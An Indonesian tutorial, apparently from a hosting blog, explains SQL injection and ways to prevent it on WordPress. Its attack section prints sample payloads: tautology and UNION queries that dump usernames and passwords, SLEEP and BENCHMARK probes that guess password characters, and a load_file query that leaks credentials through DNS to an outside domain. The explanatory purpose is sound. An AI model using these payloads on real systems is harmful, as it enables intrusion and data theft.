Apa Itu SQL Injection & Cara Mencegah SQL Injection WordPress
Keamanan website kini benar-benar menjadi hal yang harus selalu Anda pantau. Lengah sedikit saja, informasi sensitif di database bisa bocor kepada para hacker. Dari beberapa jenis masalah keamanan, SQL injection adalah salah satu contohnya.
Serangan ini dilakukan dengan memasukkan kode berbahaya ke website. Untungnya, ada beberapa cara mencegah SQL injection WordPress kalau Anda menggunakan CMS ini. Anda bisa mengupdate software, mengaktifkan firewall, atau menginstal plugin.
Untuk membantu Anda, di artikel ini kami akan menjelaskan apa itu SQL injection, lengkap dengan faktor-faktor penyebabnya serta cara mencegahnya di website WordPress. Jadi langsung saja yuk, semoga berhasil!
Apa Itu SQL Injection?
Sebelum membahas apa itu SQL injection, kami akan membahas beberapa hal tentang SQL lebih dulu.
Structured Query Language atau SQL adalah bahasa pemrograman yang digunakan untuk berinteraksi dengan database.
Di WordPress, Anda bisa menggunakan query SQL untuk mengambil data dari database MySQL. Anda kemudian bisa memodifikasi tabel, menambahkan data baru, dan mengurutkan hasilnya dengan berbagai command.
Nah, SQLi atau SQL injection adalah serangan yang dilakukan dengan menginjeksi atau “menyuntikkan” kode berbahaya dalam bentuk pernyataan SQL ke dalam aplikasi web. Kode ini digunakan hacker untuk mengakses data dalam database atau bahkan mengacaukannya.
Serangan ini sudah terjadi sejak akhir tahun 90-an dan masih terus ada hingga saat ini. Bahkan, SQL injection adalah serangan ketiga yang paling umum terjadi dari 10 risiko tertinggi keamanan aplikasi web pada tahun 2021.
Walau begitu, masih banyak website yang belum melakukan langkah efektif dalam cara mencegah SQL injection. Padahal masalah ini sudah pernah menyebabkan beberapa masalah pelanggaran data, termasuk dalam skala besar seperti yang pernah terjadi pada Universitas Standford tahun 2020 lalu.
Jadi jangan sampai Anda melupakan atau malah meremehkan serangan ini ya. Sebab, SQL injection WordPress bisa benar-benar berakibat buruk pada website Anda. Kalau mau tahu cara kerja SQL injection, lanjutkan ke bagian berikut ini.
Cara Kerja SQL Injection WordPress
Serangan SQL injection bisa dilakukan dengan beberapa cara:
- Pengambilan data secara tidak sah. Hacker bisa memanipulasi query SELECT untuk mengambil data dan “membuang” konten ke dalam database.
- Modifikasi data. SQLi bisa digunakan untuk mengubah entri database atau mengubah izin akun.
- Denial-of-Service (DoS). Serangan DoS bisa menyulitkan user untuk mengunjungi website Anda. Hacker melakukannya dengan menghapus konten secara massal di database Anda.
Website Anda mungkin memiliki formulir online yang digunakan untuk memperoleh data pengunjung, misalnya alamat email untuk berlangganan newsletter. Sayangnya form seperti ini bisa digunakan hacker untuk membobol keamanan aplikasi web.
Apabila ada kolom username, password, atau nomor telepon pada formulir, hacker bisa menyelipkan pernyataan SQL berbahaya di salah satu kolom tersebut. Nantinya pernyataan berbahaya ini berpotensi mengekspos data website Anda.
Berikut adalah beberapa media yang umum digunakan dalam SQL injection:
- Halaman pendaftaran pengguna
- Halaman login
- Kolom feedback
- Keranjang belanja
- Form kontak
Untuk memilih user secara spesifik dengan ID user tertentu, berikut contoh pernyataan SQL yang benar:
txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
Tanpa panduan input user, hacker SQLi bisa mengubah pernyataan pada baris kedua menjadi seperti ini:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
Pernyataan di atas akan menampilkan semua baris dari tabel “Users” dan membocorkan informasi pengunjung Anda. Hacker bahkan bisa mengakses password seperti berikut:
SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1;
Kalau sudah begitu, username dan password website Anda pun bisa bocor. Akibatnya bisa lebih parah lagi jika website Anda adalah toko online, misalnya kebocoran informasi pembayaran pelanggan dan data sensitif lainnya yang akhirnya merusak reputasi Anda.
Jenis-Jenis Serangan SQL Injection
Setelah memahami apa itu SQL injection dan cara kerjanya, sekarang kami akan membahas jenis-jenis serangan SQLi agar Anda tahu langkah yang perlu dilakukan untuk mencegahnya.
In-Band SQLi
Salah satu contoh serangan SQL injection adalah in-band SQLi. Menggunakan metode ini, hacker bisa menggunakan saluran yang sama untuk menyuntikkan kode berbahaya dan mendapatkan data penting.
In-band SQLi termasuk jenis serangan yang populer karena sederhana dan efisien. Jenis ini juga masih terbagi dalam dua variasi, yaitu error-based dan union-based. Penjelasannya ada di bawah ini.
Error-Based SQLi
Serangan error-based dalam SQL injection adalah teknik yang memaksa database untuk memunculkan pesan error. Pesan ini akan digunakan untuk mendapatkan informasi tentang struktur database.
Hacker melakukannya menggunakan command SQL dalam parameter kolom input, seperti tanda kutip tunggal, tanda kutip ganda, atau operator seperti AND, OR, atau NOT.
Misalnya, URL website bisa mengambil parameter dari pengunjung:
https://www.example.org/index.php?item=123
Dalam hal ini, hacker bisa saja menambahkan tanda kutip tunggal di akhir parameter:
https://www.example.org/index.php?item=123′
Kode di atas akan menampilkan pesan error yang berisi informasi sensitif:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘VALUE’’.
Informasi yang bisa didapatkan hacker dari pesan error di atas adalah:
- Konfirmasi bahwa database website menggunakan MySQL
- Syntax tertentu yang memunculkan pesan error
- Lokasi dalam kueri tempat terjadinya error
Setelah menerima pesan error tersebut, hacker SQLi akan tahu bahwa database Anda tidak aman. Mereka bisa merencanakan serangan lain untuk mendapatkan lebih banyak data sensitif. Bahkan, mereka bisa menggunakan command seperti grep extract
untuk mengotomatiskan opsi syntax SQL guna menemukan error lainnya.
Union-Based SQLi
Serangan union-based SQLi adalah teknik yang menggunakan operator UNION SQL untuk menggabungkan dua atau lebih pernyataan SELECT dalam satu respons HTTP. Respons ini bisa berisi data sensitif yang bisa disalahgunakan.
Pada dasarnya, hacker menggunakan kata kunci UNION dalam SQL untuk mendapatkan lebih banyak data selain yang sudah diambil dari kueri awal. Kata kunci ini memungkinkan hacker menambahkan query SELECT tambahan ke kueri asli.
Berikut tampilannya:
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
Kueri di atas akan menampilkan nilai dari dua kolom (tabel 1 dan 2) menjadi satu rangkaian hasil. Artinya, data akan berisi nilai dari kolom A dan B di satu tabel, serta kolom C dan D di tabel lain.
Namun ada beberapa syarat agar SQLi ini berfungsi:
- Setiap kueri harus menampilkan jumlah kolom yang sama.
- Setiap tipe data kolom harus kompatibel dengan kueri.
Kalau keduanya terpenuhi, hacker pun bisa mengambil hasil dari kueri yang dimasukkan. Setelah menentukan jumlah kolom yang diperlukan dan tipe data pengguna, hacker SQLi bisa mengambil konten dari tabel database Anda.
Misalnya kueri asli bisa menampilkan dua kolom dengan data string. Apabila kolom ini dimaksudkan untuk username dan password, penyerang bisa memasukkan baris berikut:
' UNION SELECT username, password FROM users–
Hasil query di atas bisa menimbulkan akibat yang tidak main-main. Apabila sampai terjadi, data pribadi di website Anda bisa diakses dan dieksploitasi dengan berbagai cara.
Inferential SQLi
Inferential SQL injection umumnya disebut sebagai SQLi buta (blind SQLi). Tidak seperti serangan in-band, tidak ada data yang akan ditransfer antara aplikasi dan hacker dalam jenis serangan ini. Hacker akan mengirimkan beberapa kueri ke database untuk mengamati perilaku respons.
Singkatnya, Inferential SQLi dilakukan dengan menilai struktur database melalui responsnya terhadap payload data tertentu. Untuk menjalankan serangan ini, hacker menggunakan teknik boolean-based (berbasis boolean) dan time-based (berbasis waktu).
Boolean-Based SQLi
Boolean-based SQLi dilakukan oleh penyerang dengan mengirimkan kueri pada database menggunakan pertanyaan TRUE atau FALSE, lalu menilai responsnya. Teknik ini sering digunakan ketika aplikasi hanya menampilkan pesan error umum.
Serangan ini memerlukan waktu lebih lama untuk mendapatkan hasil targetnya. Sebab, database tidak menampilkan data pada halaman web sehingga hacker mencuri data dengan mempertimbangkan respons terhadap pertanyaan TRUE atau FALSE.
Respons ini nantinya bisa menunjukkan apakah database bisa diserang dengan blind SQL injection.
Contohnya, hacker bisa memasukkan kueri berbahaya berikut yang akan memberikan hasil FALSE:
http://example.com/items.php?id=2 and 1=2
Kalau tidak menampilkan hasil, kemungkinan aplikasi web tersebut mudah diserang dengan SQL injection. Untuk memastikannya, hacker biasanya memasukkan kueri yang memberikan hasil TRUE:
http://newspaper.com/items.php?id=2 and 1=1
Penyerang bisa membedakan hasil dari TRUE dan FALSE apabila kontennya berbeda untuk setiap respons. Akibatnya, mereka pun bisa mengeksploitasi database.
Time-Based SQLi
Cara lain untuk menentukan apakah database bisa diserang dengan SQLi adalah dengan serangan berbasis waktu. Jenis injeksi ini memaksa penundaan sebelum kueri dijalankan.
Dengan melihat waktu respons, penyerang bisa mengevaluasi apakah hasilnya berupa TRUE atau FALSE. Informasi inilah yang memungkinkan mereka untuk mengeksekusi query tambahan.
Serangan berbasis waktu yang dilakukan di database MySQL biasanya menggunakan fungsi sleep. Fungsi ini menginstruksikan database untuk menunda eksekusi selama jangka waktu tertentu:
select * from comments WHERE post_id=1-SLEEP(15);
Saat respons kueri berhasil ditunda, hacker akan tahu bahwa database bisa diserang dengan SQL injection. Cara ini mengonfirmasi bahwa servernya adalah database MySQL, yang bisa dimanfaatkan lebih jauh lagi dengan injeksi payload yang lebih kompleks.
Misalnya, hacker bisa menggunakan waktu penundaan ini untuk mengonfirmasi data dalam database. Mereka bisa menghitung (enumerate) setiap huruf dengan menghentikan database selama beberapa saat.
Untuk database MySQL, gunakan operasi BENCHMARK() untuk menunda respons kalau ekspresinya benar. Ini contoh cara kerjanya:
1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM users WHERE user_id = 1;
Kalau ada penundaan respons yang signifikan, penyerang akan berasumsi bahwa karakter pertama password user_id = 1
adalah karakter angka “2”. Dengan metode ini, mereka bisa melakukan enumerasi pada setiap password yang disimpan di database Anda.
Out-of-Band SQLi
Out-of-band SQLi artinya penyerang tidak bisa menerima respons dari hasil injection di saluran yang sama dengan tempatnya diminta. Namun, mereka bisa memaksa aplikasi untuk mengirimkan data yang diminta ke titik akhir jarak jauh yang mereka kontrol.
Teknik Out-of-band SQLi bisa menjadi alternatif efektif untuk serangan inferential. Namun, teknik ini hanya bisa dilakukan kalau server memiliki command yang memicu permintaan DNS atau HTTP. Untungnya, hal ini sudah cukup umum di server SQL populer.
Server MySQL versi 5.5.52 ke bawah akan otomatis dimulai dengan variabel sistem global secure_file_priv kosong. Dalam hal ini, hacker out-of-band bisa mengekstraksi data dan membuat permintaan ke domain dengan fungsi load_file. Lankah ini akan mengambil data yang difilter dalam permintaan.
Hacker akan mendapatkan data yang sudah difilter dengan menjalankan query berikut:
SELECT load_file(CONCAT('\\\\',(SELECT+@@version),'.',(SELECT+user),'.', (SELECT+password),'.',example.com\\test.txt'))
Akibatnya, aplikasi akan mengirimkan permintaan DNS ke domain yang dimasukkan di query. Hasilnya akan menampilkan detail sensitif seperti versi database, username, dan password Anda.
Seberapa Sering SQL Injection WordPress Terjadi?
Apabila memiliki website WordPress, Anda harus lebih waspada karena SQLi adalah serangan yang membahayakan dan cukup sering dilakukan oleh hacker untuk membobol website.
Menurut Laporan Kerentanan WordPress, persentase serangan SQL injection mencapai 9,3% dari semua ancaman keamanan pada tahun 2021. Meskipun jenis serangan lainnya juga lebih sering terjadi, Anda tetap tidak boleh mengabaikan ancaman SQLi.
Semua informasi website, mulai dari komentar, postingan, hingga informasi pribadi pelanggan disimpan di database SQL. Karena WordPress berjalan di PHP dan terintegrasi dengan SQL, website Anda sangat mungkin terkena serangan SQL Injection.
Untuk website WordPress, SQL injection dijalankan melalui formulir. Penyerang bisa mengeksploitasi proses ini ketika user mengirimkan data ke script PHP yang berisi query SQL. Sebagai pemilik website WordPress, ikuti langkah-langkah berikut untuk mencegah masalah ini.
Cara Mencegah SQL Injection WordPress
Bahaya sekali apabila website Anda tidak diamankan dari SQL injection. Hacker bisa mengakses, memodifikasi, atau menghapus data di database WordPress Anda.
Tenang, Anda bisa mengikuti cara berikut untuk mencegah serangan SQL dan meningkatkan keamanan WordPress.
1. Aktifkan Firewall
Cara mencegah SQL injection yang paling mudah adalah dengan mengaktifkan WAF (web application firewall). Firewall adalah sistem keamanan yang memantau traffic jaringan dan memblokir aktivitas mencurigakan.
Sistem ini akan melindungi website dari serangan SQL injection, pemalsuan dan scripting antar website, file inclusion, dan banyak lagi.
Anda bisa menggunakan Cloudflare untuk mengaktifkan WAF bagi website Anda. Tool ini akan otomatis mendeteksi berbagai jenis serangan SQLi.
2. Ubah Prefix Database WordPress
Saat pertama kali menginstall WordPress, database akan otomatis diawali dengan kata “wp_.” Prefix default ini memberikan celah bagi hacker untuk mengakses data Anda. Apabila tidak diganti, mereka bisa menebak tabel database Anda dengan mudah.
Jadi, ubah prefix database Anda tapi pastikan untuk backup website WordPress lebih dulu. Berikut caranya:
- Kalau sudah punya akun di Hostinger, login ke hPanel dan buka File Manager.
- Klik public_html dan buka folder file wp-config.php.
- Temukan nilai $table_prefix dengan prefix “wp_.“
- Hapus dan ganti prefix tersebut. Gunakan kombinasi huruf, angka, dan garis bawah. Terakhir, simpan dan tutup file.
- Kembali ke hPanel dan temukan bagian Database.
- Di halaman berikutnya, pilih Masuk phpMyAdmin untuk membuka database website.
- Di phpMyAdmin, klik tab SQL. Untuk mengubah prefix, masukkan query di bawah ini ke kolom teks:
RENAME table `wp_tablename` TO `wp_1secure1_tablename`;
Ubah “wp_tablename” dengan nama tabel saat ini serta “wp_1secure1_tablename” dengan prefix dan nama tabel baru Anda.
- Ulangi kode di atas untuk setiap tabel yang ingin diganti namanya. Setelah selesai, pilih Go.
Anda mungkin harus memperbarui beberapa prefix secara manual. Gunakan filter untuk menemukan semua contoh prefix lama:
SELECT * FROM `wp_1secure1_tablename` WHERE `field_name` LIKE '%wp_%'
Edit dan ubah setiap hasil yang ditampilkan dengan prefix baru database Anda. Selesai! Cara di atas akan menghapus prefix wp_ dari database.
3. Validasi Input Pengguna
Hacker biasanya menjalankan serangan SQLi dengan mengeksploitasi data yang dikirim pengguna. Oleh karena itu, Anda perlu menerapkan langkah keamanan pada semua kolom entri website, termasuk formulir dan komentar.
Filter command apa pun yang dikirimkan oleh pengguna dengan validasi input dan sanitasi data. Anda pun bisa mencegah SQL injection secara efektif dengan memastikan input mereka tidak mengandung string karakter tambahan atau kode berbahaya.
Untuk membuat validasi input di formulir, tetapkan aturan spesifik untuk entri pengguna. Kalau menggunakan builder sepert Formidable Forms, Anda bisa membuat Input Mask Format untuk membatasi entri dengan simbol tertentu.
Anda juga bisa menerapkan menu drop-down dan opsi pilihan ganda untuk mencegah hacker mengeksploitasi data di kolom teks formulir.
Selain itu, validasi data bisa dilakukan menggunakan fungsi. Contohnya, Anda bisa membatasi input untuk kode pos AS yang valid dengan fungsi berikut ini:
/** * Validate a US zip code. * * @param string $zip_code RAW zip code to check. * * @return bool true if valid, false otherwise. */ function wporg_is_valid_us_zip_code( $zip_code ) { // Scenario 1: empty. if ( empty( $zip_code ) ) { return false; } // Scenario 2: more than 10 characters. if ( 10 < strlen( trim( $zip_code ) ) ) { return false; } // Scenario 3: incorrect format. if ( ! preg_match( '/^\d{5}(\-?\d{4})?$/', $zip_code ) ) { return false; } // Passed successfully. return true; }
Kode di atas akan mengevaluasi kolom wporg_zip_code dan setiap input berdasarkan aturan yang telah ditetapkan. Kemudian, kode hanya melakukan tindakan untuk value kode pos yang valid:
if ( isset( $_POST['wporg_zip_code'] ) && wporg_is_valid_us_zip_code( $_POST['wporg_zip_code'] ) ) { // your action }
Untuk mengamankan input pengguna lebih jauh lagi, Anda bisa melakukan sanitasi input. Misalnya untuk alamat email, fungsinya akan seperti berikut:
function sanitize_email( $email ) { // Test for the minimum length the email can be. if ( strlen( $email ) < 6 ) {
Karakter tambahan selain yang menjadi standar alamat email akan dihapus dengan fungsi di atas. Dengan begitu, Anda pun hanya akan menerima input berupa alamat email yang valid.
4. Rutin Update WordPress
Selalu update WordPress ke versi terbaru untuk meningkatkan keamanannya. Software core, tema, dan plugin yang outdated bisa menimbulkan celah keamanan. Website juga akan lebih mudah dibobol hacker kalau versinya tidak rutin diperbarui.
Untuk cek update terbaru WordPress, buka dashboard Anda dan klik tab Updates. Cek versi WordPress lalu pastikan untuk update WordPress ke versi terbaru.
Tema dan plugin juga bisa diupdate dari dashboard. Bahkan, tersedia update otomatis apabila Anda tidak ingin mengupdate setiap plugin secara manual. Caranya, buka halaman Plugin lalu klik Enable auto-updates di sisi kanan plugin.
Anda bisa mengupdate software core WordPress secara otomatis dengan menambahkan beberapa baris kode berikut ke file wp-config.php :
define('WP_AUTO_UPDATE_CORE', true);
Selesai! Sekarang website Anda akan selalu menggunakan versi terbaru serta menjadi lebih aman dengan patch keamanan dan perbaikan bug terbaru.
5. Install Plugin WordPress SQL Injection
Selanjutnya, cara mencegah SQL injection kalau Anda tidak ingin mengutak-atik back-end website adalah dengan menginstall plugin. Cara ini tidak memerlukan coding atau langkah-langkah tingkat lanjut serta mudah bagi pemula.
Berikut adalah beberapa plugin keamanan rekomendasi kami.
Sucuri
Sucuri Security adalah plugin keamanan paling populer dengan lebih dari 800.000 penginstalan. Tool ini melindungi website Anda dari SQLi dengan melalukan pemindaian malware, menampilkan notifikasi keamanan, dan firewall.
Fitur:
- Pemindaian malware jarak jauh
- Pemantauan integritas file
- Audit aktivitas keamanan
- Tindakan keamanan pasca-peretasan
Plugin ini memungkinkan Anda melihat log audit keamanan website sekalipun Anda menggunakan versi core WordPress. Sucuri akan memindai file core, mencatat aktivitas mencurigakan, dan menyarankan tindakan spesifik untuk mengamankan website.
Salah satu fitur terbaik Sucuri adalah firewallnya, yang akan mengecek semua traffic HTTP dan HTTPS sebelum tersambung dengan server Anda. Deteksi signature canggihnya mampu memblokir permintaan berbahaya sebelum merusak website.
Versi premium Sucuri bahkan menawarkan penghapusan malware unlimited oleh tim keamanan mereka sendiri. Anda bisa menggunakan fitur pemindaian keamanan canggih, mitigasi DDoS, dan CDN.
Harga: Sucuri Security adalah plugin gratis. Namun untuk mengakses Web Application Firewall, Anda harus membeli paket premium mulai dari $199,99/tahun (sekitar Rp3,2 juta).
MalCare
Rekomendasi lainnya adalah MalCare, yang mampu memindai malware dan memberitahukan kerentanan pada website. Anda bisa membersihkan website secara otomatis dan menghindari masalah keamanan website yang bisa berujung pada serangan SQL injection.
Fitur:
- Pemindai malware berbasis cloud
- Peringatan risiko keamanan
- Penghapusan malware sekali klik
- Mengidentifikasi dan memblokir traffic berbahaya
Dengan versi gratisnya, Anda bisa langsung menggunakan fitur perlindungan malware real-time. MalCare akan memindai website Anda lalu menampilkan status keamanannya dan melakukan proses ini setiap hari.
Sedikit lebih canggih dari Sucuri, MalCare akan langsung mengaktifkan firewall gratis untuk memblokir SQL injection dan serangan script cross-site. Tool ini juga akan melindungi website dari serangan brute force dengan mengamankan proses login.
Opsi ini cocok untuk developer karena dashboardnya juga menampilkan analitik untuk beberapa website. Dengan laporan real-time, Anda bisa mengetahui dan memperbaiki masalah keamanan dengan lebih cepat.
Harga: MalCare bisa didownload secara gratis. Apabila membutuhkan cleaner malware otomatis dan bantuan dari tim keamanan MalCare, tersedia paket plugin premium seharga $99/tahun (sekitar Rp1,5 juta).
Jetpack
Jetpack bisa menjadi opsi yang efektif bagi Anda yang juga memerlukan plugin serbaguna untuk mengelola performa website. Tool ini membantu Anda meningkatkan keamanan, kecepatan loading website, strategi marketing, dan desain website.
Fitur:
- Backup[ otomatis
- Pemindaian malware
- Pencegahan brute force
- Pemantauan downtime
Anda bisa terus memantau website terhadap serangan SQLi dengan fitur pemindai malware. Sebagai langkah tambahan, Anda bisa backup file website secara rutin, lalu restore website apabila terkena serangan.
Jetpack juga bisa meningkatkan kecepatan loading karena sudah menyertakan CDN gratis untuk optimasi loading gambar. Jadi, tool ini bisa melindungi website dari SQLi sekaligus memberikan pengalaman terbaik untuk pengunjung Anda.
Harga: Jetpack tersedia gratis sebagai plugin WordPress. Anda bisa berlangganan paket Jetpack Security seharga $10/bulan (sekitar Rp150 ribu) untuk deteksi malware dan backup real time.
6. Batasi Akses Pengguna
Di WordPress, Anda bisa menetapkan user role apabila menggunakan akun administrator. Anda bisa mengizinkan orang lain untuk menjadi Editor, Penulis, Kontributor, Pelanggan, Administrator, atau Super Admin.
Namun, akan lebih aman kalau Anda membatasi jumlah user yang memiliki akses khusus ke website Dengan begitu, semakin kecil juga kemungkinan website Anda terkena serangan SQL Injection.
- Buka Users -> All Users di dashboard WordPress untuk mengelola role pengguna. Pilih pengguna dan klik Edit.
- Pada kolom Role, Anda bisa membatasi akses user tertentu misalnya dengan menggantinya dari Administrator menjadi Kontributor, Penulis, atau Editor.
Apabila user tersebut tidak terlalu berkontribusi pada konten website, Anda bisa menghapusnya sekalian untuk meminimalkan risiko kerentanan dan meningkatkan keamanan.
7. Hapus Fungsionalitas Database yang Tidak Perlu
Anda bisa melakukan normalization pada database untuk menghindari SQL injection dengan menonaktifkan fungsi yang tidak diperlukan dan menghapus konten yang tidak relevan.
Untuk membersihkan database, Anda bisanya perlu mengelola data, mengurangi redundansi, dan memvalidasi dependensi data. Semua ini bisa Anda lakukan dengan plugin seperti WP-Optimize.
Plugin ini menyediakan berbagai opsi untuk mengoptimasi database dengan mudah. Anda tidak perlu menjalankan command SQL secara manual dan hanya perlu mencentang pengaturan yang diinginkan.
Menggunakan plugin seperti ini merupakan salah satu cara termudah untuk mengoptimasi tabel database dan menghapus data yang tidak perlu seperti postingan sampah. Hasilnya, website Anda pun akan lebih aman terhadap SQLi.
8. Gunakan Prepared Statement
Prepared statement adalah template SQL yang nantinya bisa disesuaikan dengan parameter variabel. Setelah menerima template ini, database akan merencanakan proses eksekusi query. Data kemudian dihubungkan ke parameter untuk menjalankan statement tersebut.
Dengan prepared statement, hacker SQLi tidak akan bisa mengubah maksud query. Berikut contoh statement tersebut:
$stmt = $mysqli->prepare(“SELECT * FROM users WHERE user = ? AND password = ?”); $stmt->bind_param(“ss”, $username, $password); $stmt->execute();
Seperti yang Anda lihat, statement di atas tidak secara langsung menyematkan data pengguna. Apabila menggunakan kueri dinamis, hacker bisa memasukkan command SQL untuk mengubah query dan mengakses informasi database penting.
Nah, prepared statement bisa mencegah SQL injection dengan menyiapkan query lebih dulu, baru kemudian menambahkan data pengguna untuk memastikan query asli tidak bisa diubah.
9. Sembunyikan Versi WordPress
Kalau orang lain bisa mengidentifikasi versi WordPress Anda, mereka akan tahu masalah keamanan bawaan yang ada pada versi tersebut. Informasi itulah yang bisa membantu hacker menemukan jalan masuk ke database Anda.
Biasanya versi WordPress ditampilkan di header website:
<meta name="generator" content="WordPress 6.0.1" />
Dengan menyembunyikan informasi ini, Anda bisa menghalau penyerang SQLi untuk mengeksploitasi website. Ikuti cara berikut:
- Akses file website Anda lalu buka public_html -> wp-content -> themes.
- Pilih folder tema yang saat ini digunakan, kemudian buka file functions.php.
- Copy dan paste kode berikut:
remove_action(‘wp_head’, ‘wp_generator’);
- Simpan perubahan.
Kode di atas akan menghapus angka versi WordPress dari header HTTP Anda. Nah, sekarang website WordPress Anda jadi lebih aman dari hacker!
Cara Mengatasi SQL Injection di Website
Walaupun semua tindakan pencegahan sudah diterapkan, website Anda masih mungkin terkena serangan SQL Injection. Kalau website terkena serangan SQL Injection, website akan mengalami hal-hal ini:
- Website masuk ke blacklist Google
- Performa dan kecepatan loading website menurun
- Halaman website menampilkan coding rusak
- Pop-up spam
- Konten dialihkan ke website lain
- Hasil pencarian website menampilkan spam
Apabila hal di atas terjadi, cobalah membersihkan website. Anda bisa menghapus malware secara manual kalau sudah mengetahui caranya, atau secara otomatis dengan bantuan plugin.
Wordfence Security adalah plugin gratis yang dilengkapi dengan pemindai malware. Plugin ini akan mengevaluasi file, tema, dan plugin Anda lalu mengirimkan peringatan apabila menemukan malware, redirect berbahaya, atau SQL injection.
Plugin ini juga sudah dilengkapi firewall WordPress agar website tetap aman dari segala serangan keamanan.
Terakhir, Anda juga bisa menghubungi provider hosting website khususnya kalau menggunakan shared hosting. Sebab serangan SQL injection bisa juga menyebar ke website lain yang berbagi server dengan Anda.
Kesimpulan
Serangan SQLi menggunakan pernyataan SQL berbahaya untuk masuk dan mengeksploitasi database website Anda.
Meskipun cukup umum, SQL injection WordPress tetap tidak boleh disepelekan. Untungnya ada beberapa cara bagi Anda untuk menghapus malware yang masuk dari serangan ini. Selain itu, terapkan langkah keamanan tambahan untuk mencegahnya sebelum terjadi.
Nah, berikut langkah-langkah untuk mencegah SQL injection WordPress:
- Install firewall dengan Cloudflare.
- Ubah prefix database WordPress.
- Validasi input pengguna.
- Lakukan update rutin.
- Install plugin SQL injection seperti Sucuri Security.
- Batasi hak akses pengguna.
- Minimalkan fungsi database yang tidak dibutuhkan dengan WP-Optimize.
- Gunakan prepared statement.
- Sembunyikan versi WordPress dari pengunjung.
Setelah tahu cara mencegah SQL injection di WordPress, sekarang saatnya Anda mulai mengamankan website dari ancaman keamanan ini. Sebaiknya jangan menunda-nunda dan semoga berhasil!